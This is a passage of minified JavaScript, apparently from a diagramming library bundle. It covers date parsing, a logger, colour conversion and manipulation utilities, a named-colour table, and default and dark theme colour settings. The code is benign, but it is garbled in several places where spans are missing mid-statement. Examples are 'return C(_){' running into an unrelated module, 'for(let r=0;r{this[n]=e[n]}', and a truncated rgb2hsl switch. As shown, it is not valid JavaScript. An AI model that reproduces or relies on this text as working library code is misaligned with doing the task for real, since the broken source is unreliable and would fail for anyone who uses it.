Date)return new Date(M);if(typeof M=="string"&&!/Z$/i.test(M)){var B=M.match(g);if(B){var F=B[2]-1||0,G=(B[7]||"0").substring(0,3);return P?new Date(Date.UTC(B[1],F,B[3]||1,B[4]||0,B[5]||0,B[6]||0,G)):new Date(B[1],F,B[3]||1,B[4]||0,B[5]||0,B[6]||0,G)}}return new Date(M)})(_),this.init()},D.init=function(){var _=this.$d;this.$y=_.getFullYear(),this.$M=_.getMonth(),this.$D=_.getDate(),this.$W=_.getDay(),this.$H=_.getHours(),this.$m=_.getMinutes(),this.$s=_.getSeconds(),this.$ms=_.getMilliseconds()},D.$utils=function(){return R},D.isValid=function(){return this.$d.toString()!==m},D.isSame=function(_,O){var M=C(_);return this.startOf(O)<=M&&M<=this.endOf(O)},D.isAfter=function(_,O){return C(_){"use strict";oG=ja(X4(),1),au={trace:0,debug:1,info:2,warn:3,error:4,fatal:5},X={trace:o((...t)=>{},"trace"),debug:o((...t)=>{},"debug"),info:o((...t)=>{},"info"),warn:o((...t)=>{},"warn"),error:o((...t)=>{},"error"),fatal:o((...t)=>{},"fatal")},Dy=o(function(t="fatal"){let e=au.fatal;typeof t=="string"?t.toLowerCase()in au&&(e=au[t]):typeof t=="number"&&(e=t),X.trace=()=>{},X.debug=()=>{},X.info=()=>{},X.warn=()=>{},X.error=()=>{},X.fatal=()=>{},e<=au.fatal&&(X.fatal=console.error?console.error.bind(console,Eo("FATAL"),"color: orange"):console.log.bind(console,"\x1B[35m",Eo("FATAL"))),e<=au.error&&(X.error=console.error?console.error.bind(console,Eo("ERROR"),"color: orange"):console.log.bind(console,"\x1B[31m",Eo("ERROR"))),e<=au.warn&&(X.warn=console.warn?console.warn.bind(console,Eo("WARN"),"color: orange"):console.log.bind(console,"\x1B[33m",Eo("WARN"))),e<=au.info&&(X.info=console.info?console.info.bind(console,Eo("INFO"),"color: lightblue"):console.log.bind(console,"\x1B[34m",Eo("INFO"))),e<=au.debug&&(X.debug=console.debug?console.debug.bind(console,Eo("DEBUG"),"color: lightgreen"):console.log.bind(console,"\x1B[32m",Eo("DEBUG"))),e<=au.trace&&(X.trace=console.debug?console.debug.bind(console,Eo("TRACE"),"color: lightgreen"):console.log.bind(console,"\x1B[32m",Eo("TRACE")))},"setLogLevel"),Eo=o(t=>`%c${(0,oG.default)().format("ss.SSS")} : ${t} : `,"format")});var j4,lG,cG=N(()=>{"use strict";j4={min:{r:0,g:0,b:0,s:0,l:0,a:0},max:{r:255,g:255,b:255,h:360,s:100,l:100,a:1},clamp:{r:o(t=>t>=255?255:t<0?0:t,"r"),g:o(t=>t>=255?255:t<0?0:t,"g"),b:o(t=>t>=255?255:t<0?0:t,"b"),h:o(t=>t%360,"h"),s:o(t=>t>=100?100:t<0?0:t,"s"),l:o(t=>t>=100?100:t<0?0:t,"l"),a:o(t=>t>=1?1:t<0?0:t,"a")},toLinear:o(t=>{let e=t/255;return t>.03928?Math.pow((e+.055)/1.055,2.4):e/12.92},"toLinear"),hue2rgb:o((t,e,r)=>(r<0&&(r+=1),r>1&&(r-=1),r<.16666666666666666?t+(e-t)*6*r:r<.5?e:r<.6666666666666666?t+(e-t)*(.6666666666666666-r)*6:t),"hue2rgb"),hsl2rgb:o(({h:t,s:e,l:r},n)=>{if(!e)return r*2.55;t/=360,e/=100,r/=100;let i=r<.5?r*(1+e):r+e-r*e,a=2*r-i;switch(n){case"r":return j4.hue2rgb(a,i,t+.3333333333333333)*255;case"g":return j4.hue2rgb(a,i,t)*255;case"b":return j4.hue2rgb(a,i,t-.3333333333333333)*255}},"hsl2rgb"),rgb2hsl:o(({r:t,g:e,b:r},n)=>{t/=255,e/=255,r/=255;let i=Math.max(t,e,r),a=Math.min(t,e,r),s=(i+a)/2;if(n==="l")return s*100;if(i===a)return 0;let l=i-a,u=s>.5?l/(2-i-a):l/(i+a);if(n==="s")return u*100;switch(i){case t:return((e-r)/l+(e{"use strict";i5e={clamp:o((t,e,r)=>e>r?Math.min(e,Math.max(r,t)):Math.min(r,Math.max(e,t)),"clamp"),round:o(t=>Math.round(t*1e10)/1e10,"round")},uG=i5e});var a5e,fG,dG=N(()=>{"use strict";a5e={dec2hex:o(t=>{let e=Math.round(t).toString(16);return e.length>1?e:`0${e}`},"dec2hex")},fG=a5e});var s5e,Kt,Xl=N(()=>{"use strict";cG();hG();dG();s5e={channel:lG,lang:uG,unit:fG},Kt=s5e});var su,Ni,Ly=N(()=>{"use strict";Xl();su={};for(let t=0;t<=255;t++)su[t]=Kt.unit.dec2hex(t);Ni={ALL:0,RGB:1,HSL:2}});var f7,pG,mG=N(()=>{"use strict";Ly();f7=class{static{o(this,"Type")}constructor(){this.type=Ni.ALL}get(){return this.type}set(e){if(this.type&&this.type!==e)throw new Error("Cannot change both RGB and HSL channels at the same time");this.type=e}reset(){this.type=Ni.ALL}is(e){return this.type===e}},pG=f7});var d7,gG,yG=N(()=>{"use strict";Xl();mG();Ly();d7=class{static{o(this,"Channels")}constructor(e,r){this.color=r,this.changed=!1,this.data=e,this.type=new pG}set(e,r){return this.color=r,this.changed=!1,this.data=e,this.type.type=Ni.ALL,this}_ensureHSL(){let e=this.data,{h:r,s:n,l:i}=e;r===void 0&&(e.h=Kt.channel.rgb2hsl(e,"h")),n===void 0&&(e.s=Kt.channel.rgb2hsl(e,"s")),i===void 0&&(e.l=Kt.channel.rgb2hsl(e,"l"))}_ensureRGB(){let e=this.data,{r,g:n,b:i}=e;r===void 0&&(e.r=Kt.channel.hsl2rgb(e,"r")),n===void 0&&(e.g=Kt.channel.hsl2rgb(e,"g")),i===void 0&&(e.b=Kt.channel.hsl2rgb(e,"b"))}get r(){let e=this.data,r=e.r;return!this.type.is(Ni.HSL)&&r!==void 0?r:(this._ensureHSL(),Kt.channel.hsl2rgb(e,"r"))}get g(){let e=this.data,r=e.g;return!this.type.is(Ni.HSL)&&r!==void 0?r:(this._ensureHSL(),Kt.channel.hsl2rgb(e,"g"))}get b(){let e=this.data,r=e.b;return!this.type.is(Ni.HSL)&&r!==void 0?r:(this._ensureHSL(),Kt.channel.hsl2rgb(e,"b"))}get h(){let e=this.data,r=e.h;return!this.type.is(Ni.RGB)&&r!==void 0?r:(this._ensureRGB(),Kt.channel.rgb2hsl(e,"h"))}get s(){let e=this.data,r=e.s;return!this.type.is(Ni.RGB)&&r!==void 0?r:(this._ensureRGB(),Kt.channel.rgb2hsl(e,"s"))}get l(){let e=this.data,r=e.l;return!this.type.is(Ni.RGB)&&r!==void 0?r:(this._ensureRGB(),Kt.channel.rgb2hsl(e,"l"))}get a(){return this.data.a}set r(e){this.type.set(Ni.RGB),this.changed=!0,this.data.r=e}set g(e){this.type.set(Ni.RGB),this.changed=!0,this.data.g=e}set b(e){this.type.set(Ni.RGB),this.changed=!0,this.data.b=e}set h(e){this.type.set(Ni.HSL),this.changed=!0,this.data.h=e}set s(e){this.type.set(Ni.HSL),this.changed=!0,this.data.s=e}set l(e){this.type.set(Ni.HSL),this.changed=!0,this.data.l=e}set a(e){this.changed=!0,this.data.a=e}},gG=d7});var o5e,fh,Ry=N(()=>{"use strict";yG();o5e=new gG({r:0,g:0,b:0,a:0},"transparent"),fh=o5e});var vG,od,p7=N(()=>{"use strict";Ry();Ly();vG={re:/^#((?:[a-f0-9]{2}){2,4}|[a-f0-9]{3})$/i,parse:o(t=>{if(t.charCodeAt(0)!==35)return;let e=t.match(vG.re);if(!e)return;let r=e[1],n=parseInt(r,16),i=r.length,a=i%4===0,s=i>4,l=s?1:17,u=s?8:4,h=a?0:-1,f=s?255:15;return fh.set({r:(n>>u*(h+3)&f)*l,g:(n>>u*(h+2)&f)*l,b:(n>>u*(h+1)&f)*l,a:a?(n&f)*l/255:1},t)},"parse"),stringify:o(t=>{let{r:e,g:r,b:n,a:i}=t;return i<1?`#${su[Math.round(e)]}${su[Math.round(r)]}${su[Math.round(n)]}${su[Math.round(i*255)]}`:`#${su[Math.round(e)]}${su[Math.round(r)]}${su[Math.round(n)]}`},"stringify")},od=vG});var K4,Ny,xG=N(()=>{"use strict";Xl();Ry();K4={re:/^hsla?\(\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?(?:deg|grad|rad|turn)?)\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?%)\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?%)(?:\s*?(?:,|\/)\s*?\+?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e-?\d+)?(%)?))?\s*?\)$/i,hueRe:/^(.+?)(deg|grad|rad|turn)$/i,_hue2deg:o(t=>{let e=t.match(K4.hueRe);if(e){let[,r,n]=e;switch(n){case"grad":return Kt.channel.clamp.h(parseFloat(r)*.9);case"rad":return Kt.channel.clamp.h(parseFloat(r)*180/Math.PI);case"turn":return Kt.channel.clamp.h(parseFloat(r)*360)}}return Kt.channel.clamp.h(parseFloat(t))},"_hue2deg"),parse:o(t=>{let e=t.charCodeAt(0);if(e!==104&&e!==72)return;let r=t.match(K4.re);if(!r)return;let[,n,i,a,s,l]=r;return fh.set({h:K4._hue2deg(n),s:Kt.channel.clamp.s(parseFloat(i)),l:Kt.channel.clamp.l(parseFloat(a)),a:s?Kt.channel.clamp.a(l?parseFloat(s)/100:parseFloat(s)):1},t)},"parse"),stringify:o(t=>{let{h:e,s:r,l:n,a:i}=t;return i<1?`hsla(${Kt.lang.round(e)}, ${Kt.lang.round(r)}%, ${Kt.lang.round(n)}%, ${i})`:`hsl(${Kt.lang.round(e)}, ${Kt.lang.round(r)}%, ${Kt.lang.round(n)}%)`},"stringify")},Ny=K4});var Q4,m7,bG=N(()=>{"use strict";p7();Q4={colors:{aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyanaqua:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",transparent:"#00000000",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},parse:o(t=>{t=t.toLowerCase();let e=Q4.colors[t];if(e)return od.parse(e)},"parse"),stringify:o(t=>{let e=od.stringify(t);for(let r in Q4.colors)if(Q4.colors[r]===e)return r},"stringify")},m7=Q4});var TG,My,wG=N(()=>{"use strict";Xl();Ry();TG={re:/^rgba?\(\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?))\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?))\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?))(?:\s*?(?:,|\/)\s*?\+?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?)))?\s*?\)$/i,parse:o(t=>{let e=t.charCodeAt(0);if(e!==114&&e!==82)return;let r=t.match(TG.re);if(!r)return;let[,n,i,a,s,l,u,h,f]=r;return fh.set({r:Kt.channel.clamp.r(i?parseFloat(n)*2.55:parseFloat(n)),g:Kt.channel.clamp.g(s?parseFloat(a)*2.55:parseFloat(a)),b:Kt.channel.clamp.b(u?parseFloat(l)*2.55:parseFloat(l)),a:h?Kt.channel.clamp.a(f?parseFloat(h)/100:parseFloat(h)):1},t)},"parse"),stringify:o(t=>{let{r:e,g:r,b:n,a:i}=t;return i<1?`rgba(${Kt.lang.round(e)}, ${Kt.lang.round(r)}, ${Kt.lang.round(n)}, ${Kt.lang.round(i)})`:`rgb(${Kt.lang.round(e)}, ${Kt.lang.round(r)}, ${Kt.lang.round(n)})`},"stringify")},My=TG});var l5e,Mi,ou=N(()=>{"use strict";p7();xG();bG();wG();Ly();l5e={format:{keyword:m7,hex:od,rgb:My,rgba:My,hsl:Ny,hsla:Ny},parse:o(t=>{if(typeof t!="string")return t;let e=od.parse(t)||My.parse(t)||Ny.parse(t)||m7.parse(t);if(e)return e;throw new Error(`Unsupported color format: "${t}"`)},"parse"),stringify:o(t=>!t.changed&&t.color?t.color:t.type.is(Ni.HSL)||t.data.r===void 0?Ny.stringify(t):t.a<1||!Number.isInteger(t.r)||!Number.isInteger(t.g)||!Number.isInteger(t.b)?My.stringify(t):od.stringify(t),"stringify")},Mi=l5e});var c5e,Z4,g7=N(()=>{"use strict";Xl();ou();c5e=o((t,e)=>{let r=Mi.parse(t);for(let n in e)r[n]=Kt.channel.clamp[n](e[n]);return Mi.stringify(r)},"change"),Z4=c5e});var u5e,Ka,y7=N(()=>{"use strict";Xl();Ry();ou();g7();u5e=o((t,e,r=0,n=1)=>{if(typeof t!="number")return Z4(t,{a:e});let i=fh.set({r:Kt.channel.clamp.r(t),g:Kt.channel.clamp.g(e),b:Kt.channel.clamp.b(r),a:Kt.channel.clamp.a(n)});return Mi.stringify(i)},"rgba"),Ka=u5e});var h5e,ld,kG=N(()=>{"use strict";Xl();ou();h5e=o((t,e)=>Kt.lang.round(Mi.parse(t)[e]),"channel"),ld=h5e});var f5e,EG,SG=N(()=>{"use strict";Xl();ou();f5e=o(t=>{let{r:e,g:r,b:n}=Mi.parse(t),i=.2126*Kt.channel.toLinear(e)+.7152*Kt.channel.toLinear(r)+.0722*Kt.channel.toLinear(n);return Kt.lang.round(i)},"luminance"),EG=f5e});var d5e,CG,AG=N(()=>{"use strict";SG();d5e=o(t=>EG(t)>=.5,"isLight"),CG=d5e});var p5e,sa,_G=N(()=>{"use strict";AG();p5e=o(t=>!CG(t),"isDark"),sa=p5e});var m5e,J4,v7=N(()=>{"use strict";Xl();ou();m5e=o((t,e,r)=>{let n=Mi.parse(t),i=n[e],a=Kt.channel.clamp[e](i+r);return i!==a&&(n[e]=a),Mi.stringify(n)},"adjustChannel"),J4=m5e});var g5e,Rt,DG=N(()=>{"use strict";v7();g5e=o((t,e)=>J4(t,"l",e),"lighten"),Rt=g5e});var y5e,Pt,LG=N(()=>{"use strict";v7();y5e=o((t,e)=>J4(t,"l",-e),"darken"),Pt=y5e});var v5e,Pe,RG=N(()=>{"use strict";ou();g7();v5e=o((t,e)=>{let r=Mi.parse(t),n={};for(let i in e)e[i]&&(n[i]=r[i]+e[i]);return Z4(t,n)},"adjust"),Pe=v5e});var x5e,NG,MG=N(()=>{"use strict";ou();y7();x5e=o((t,e,r=50)=>{let{r:n,g:i,b:a,a:s}=Mi.parse(t),{r:l,g:u,b:h,a:f}=Mi.parse(e),d=r/100,p=d*2-1,m=s-f,y=((p*m===-1?p:(p+m)/(1+p*m))+1)/2,v=1-y,x=n*y+l*v,b=i*y+u*v,T=a*y+h*v,S=s*d+f*(1-d);return Ka(x,b,T,S)},"mix"),NG=x5e});var b5e,Et,IG=N(()=>{"use strict";ou();MG();b5e=o((t,e=100)=>{let r=Mi.parse(t);return r.r=255-r.r,r.g=255-r.g,r.b=255-r.b,NG(r,t,e)},"invert"),Et=b5e});var OG=N(()=>{"use strict";y7();kG();_G();DG();LG();RG();IG()});var eo=N(()=>{"use strict";OG()});var dh,ph,Iy=N(()=>{"use strict";dh="#ffffff",ph="#f2f2f2"});var wi,x0=N(()=>{"use strict";eo();wi=o((t,e)=>e?Pe(t,{s:-40,l:10}):Pe(t,{s:-40,l:-10}),"mkBorder")});var b7,PG,BG=N(()=>{"use strict";eo();Iy();x0();b7=class{static{o(this,"Theme")}constructor(){this.background="#f4f4f4",this.primaryColor="#fff4dd",this.noteBkgColor="#fff5ad",this.noteTextColor="#333",this.THEME_COLOR_LIMIT=12,this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px"}updateColors(){if(this.primaryTextColor=this.primaryTextColor||(this.darkMode?"#eee":"#333"),this.secondaryColor=this.secondaryColor||Pe(this.primaryColor,{h:-120}),this.tertiaryColor=this.tertiaryColor||Pe(this.primaryColor,{h:180,l:5}),this.primaryBorderColor=this.primaryBorderColor||wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=this.secondaryBorderColor||wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=this.tertiaryBorderColor||wi(this.tertiaryColor,this.darkMode),this.noteBorderColor=this.noteBorderColor||wi(this.noteBkgColor,this.darkMode),this.noteBkgColor=this.noteBkgColor||"#fff5ad",this.noteTextColor=this.noteTextColor||"#333",this.secondaryTextColor=this.secondaryTextColor||Et(this.secondaryColor),this.tertiaryTextColor=this.tertiaryTextColor||Et(this.tertiaryColor),this.lineColor=this.lineColor||Et(this.background),this.arrowheadColor=this.arrowheadColor||Et(this.background),this.textColor=this.textColor||this.primaryTextColor,this.border2=this.border2||this.tertiaryBorderColor,this.nodeBkg=this.nodeBkg||this.primaryColor,this.mainBkg=this.mainBkg||this.primaryColor,this.nodeBorder=this.nodeBorder||this.primaryBorderColor,this.clusterBkg=this.clusterBkg||this.tertiaryColor,this.clusterBorder=this.clusterBorder||this.tertiaryBorderColor,this.defaultLinkColor=this.defaultLinkColor||this.lineColor,this.titleColor=this.titleColor||this.tertiaryTextColor,this.edgeLabelBackground=this.edgeLabelBackground||(this.darkMode?Pt(this.secondaryColor,30):this.secondaryColor),this.nodeTextColor=this.nodeTextColor||this.primaryTextColor,this.actorBorder=this.actorBorder||this.primaryBorderColor,this.actorBkg=this.actorBkg||this.mainBkg,this.actorTextColor=this.actorTextColor||this.primaryTextColor,this.actorLineColor=this.actorLineColor||this.actorBorder,this.labelBoxBkgColor=this.labelBoxBkgColor||this.actorBkg,this.signalColor=this.signalColor||this.textColor,this.signalTextColor=this.signalTextColor||this.textColor,this.labelBoxBorderColor=this.labelBoxBorderColor||this.actorBorder,this.labelTextColor=this.labelTextColor||this.actorTextColor,this.loopTextColor=this.loopTextColor||this.actorTextColor,this.activationBorderColor=this.activationBorderColor||Pt(this.secondaryColor,10),this.activationBkgColor=this.activationBkgColor||this.secondaryColor,this.sequenceNumberColor=this.sequenceNumberColor||Et(this.lineColor),this.sectionBkgColor=this.sectionBkgColor||this.tertiaryColor,this.altSectionBkgColor=this.altSectionBkgColor||"white",this.sectionBkgColor=this.sectionBkgColor||this.secondaryColor,this.sectionBkgColor2=this.sectionBkgColor2||this.primaryColor,this.excludeBkgColor=this.excludeBkgColor||"#eeeeee",this.taskBorderColor=this.taskBorderColor||this.primaryBorderColor,this.taskBkgColor=this.taskBkgColor||this.primaryColor,this.activeTaskBorderColor=this.activeTaskBorderColor||this.primaryColor,this.activeTaskBkgColor=this.activeTaskBkgColor||Rt(this.primaryColor,23),this.gridColor=this.gridColor||"lightgrey",this.doneTaskBkgColor=this.doneTaskBkgColor||"lightgrey",this.doneTaskBorderColor=this.doneTaskBorderColor||"grey",this.critBorderColor=this.critBorderColor||"#ff8888",this.critBkgColor=this.critBkgColor||"red",this.todayLineColor=this.todayLineColor||"red",this.vertLineColor=this.vertLineColor||"navy",this.taskTextColor=this.taskTextColor||this.textColor,this.taskTextOutsideColor=this.taskTextOutsideColor||this.textColor,this.taskTextLightColor=this.taskTextLightColor||this.textColor,this.taskTextColor=this.taskTextColor||this.primaryTextColor,this.taskTextDarkColor=this.taskTextDarkColor||this.textColor,this.taskTextClickableColor=this.taskTextClickableColor||"#003163",this.personBorder=this.personBorder||this.primaryBorderColor,this.personBkg=this.personBkg||this.mainBkg,this.darkMode?(this.rowOdd=this.rowOdd||Pt(this.mainBkg,5)||"#ffffff",this.rowEven=this.rowEven||Pt(this.mainBkg,10)):(this.rowOdd=this.rowOdd||Rt(this.mainBkg,75)||"#ffffff",this.rowEven=this.rowEven||Rt(this.mainBkg,5)),this.transitionColor=this.transitionColor||this.lineColor,this.transitionLabelColor=this.transitionLabelColor||this.textColor,this.stateLabelColor=this.stateLabelColor||this.stateBkg||this.primaryTextColor,this.stateBkg=this.stateBkg||this.mainBkg,this.labelBackgroundColor=this.labelBackgroundColor||this.stateBkg,this.compositeBackground=this.compositeBackground||this.background||this.tertiaryColor,this.altBackground=this.altBackground||this.tertiaryColor,this.compositeTitleBackground=this.compositeTitleBackground||this.mainBkg,this.compositeBorder=this.compositeBorder||this.nodeBorder,this.innerEndBackground=this.nodeBorder,this.errorBkgColor=this.errorBkgColor||this.tertiaryColor,this.errorTextColor=this.errorTextColor||this.tertiaryTextColor,this.transitionColor=this.transitionColor||this.lineColor,this.specialStateColor=this.lineColor,this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210,l:150}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330}),this.darkMode)for(let r=0;r{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},PG=o(t=>{let e=new b7;return e.calculate(t),e},"getThemeVariables")});var T7,FG,$G=N(()=>{"use strict";eo();x0();T7=class{static{o(this,"Theme")}constructor(){this.background="#333",this.primaryColor="#1f2020",this.secondaryColor=Rt(this.primaryColor,16),this.tertiaryColor=Pe(this.primaryColor,{h:-160}),this.primaryBorderColor=Et(this.background),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.tertiaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.mainBkg="#1f2020",this.secondBkg="calculated",this.mainContrastColor="lightgrey",this.darkTextColor=Rt(Et("#323D47"),10),this.lineColor="calculated",this.border1="#ccc",this.border2=Ka(255,255,255,.25),this.arrowheadColor="calculated",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.labelBackground="#181818",this.textColor="#ccc",this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="#F9FFFE",this.edgeLabelBackground="calculated",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="calculated",this.actorLineColor="calculated",this.signalColor="calculated",this.signalTextColor="calculated",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="calculated",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="#fff5ad",this.noteTextColor="calculated",this.activationBorderColor="calculated",this.activationBkgColor="calculated",this.sequenceNumberColor="black",this.sectionBkgColor=Pt("#EAE8D9",30),this.altSectionBkgColor="calculated",this.sectionBkgColor2="#EAE8D9",this.excludeBkgColor=Pt(this.sectionBkgColor,10),this.taskBorderColor=Ka(255,255,255,70),this.taskBkgColor="calculated",this.taskTextColor="calculated",this.taskTextLightColor="calculated",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor=Ka(255,255,255,50),this.activeTaskBkgColor="#81B1DB",this.gridColor="calculated",this.doneTaskBkgColor="calculated",this.doneTaskBorderColor="grey",this.critBorderColor="#E83737",this.critBkgColor="#E83737",this.taskTextDarkColor="calculated",this.todayLineColor="#DB5757",this.vertLineColor="#00BFFF",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.rowOdd=this.rowOdd||Rt(this.mainBkg,5)||"#ffffff",this.rowEven=this.rowEven||Pt(this.mainBkg,10),this.labelColor="calculated",this.errorBkgColor="#a44141",this.errorTextColor="#ddd"}updateColors(){this.secondBkg=Rt(this.mainBkg,16),this.lineColor=this.mainContrastColor,this.arrowheadColor=this.mainContrastColor,this.nodeBkg=this.mainBkg,this.nodeBorder=this.border1,this.clusterBkg=this.secondBkg,this.clusterBorder=this.border2,this.defaultLinkColor=this.lineColor,this.edgeLabelBackground=Rt(this.labelBackground,25),this.actorBorder=this.border1,this.actorBkg=this.mainBkg,this.actorTextColor=this.mainContrastColor,this.actorLineColor=this.actorBorder,this.signalColor=this.mainContrastColor,this.signalTextColor=this.mainContrastColor,this.labelBoxBkgColor=this.actorBkg,this.labelBoxBorderColor=this.actorBorder,this.labelTextColor=this.mainContrastColor,this.loopTextColor=this.mainContrastColor,this.noteBorderColor=this.secondaryBorderColor,this.noteBkgColor=this.secondBkg,this.noteTextColor=this.secondaryTextColor,this.activationBorderColor=this.border1,this.activationBkgColor=this.secondBkg,this.altSectionBkgColor=this.background,this.taskBkgColor=Rt(this.mainBkg,23),this.taskTextColor=this.darkTextColor,this.taskTextLightColor=this.mainContrastColor,this.taskTextOutsideColor=this.taskTextLightColor,this.gridColor=this.mainContrastColor,this.doneTaskBkgColor=this.mainContrastColor,this.taskTextDarkColor=this.darkTextColor,this.archEdgeColor=this.lineColor,this.archEdgeArrowColor=this.lineColor,this.transitionColor=this.transitionColor||this.lineColor,this.transitionLabelColor=this.transitionLabelColor||this.textColor,this.stateLabelColor=this.stateLabelColor||this.stateBkg||this.primaryTextColor,this.stateBkg=this.stateBkg||this.mainBkg,this.labelBackgroundColor=this.labelBackgroundColor||this.stateBkg,this.compositeBackground=this.compositeBackground||this.background||this.tertiaryColor,this.altBackground=this.altBackground||"#555",this.compositeTitleBackground=this.compositeTitleBackground||this.mainBkg,this.compositeBorder=this.compositeBorder||this.nodeBorder,this.innerEndBackground=this.primaryBorderColor,this.specialStateColor="#f4f4f4",this.errorBkgColor=this.errorBkgColor||this.tertiaryColor,this.errorTextColor=this.errorTextColor||this.tertiaryTextColor,this.fillType0=this.primaryColor,this.fillType1=this.secondaryColor,this.fillType2=Pe(this.primaryColor,{h:64}),this.fillType3=Pe(this.secondaryColor,{h:64}),this.fillType4=Pe(this.primaryColor,{h:-64}),this.fillType5=Pe(this.secondaryColor,{h:-64}),this.fillType6=Pe(this.primaryColor,{h:128}),this.fillType7=Pe(this.secondaryColor,{h:128}),this.cScale1=this.cScale1||"#0b0000",this.cScale2=this.cScale2||"#4d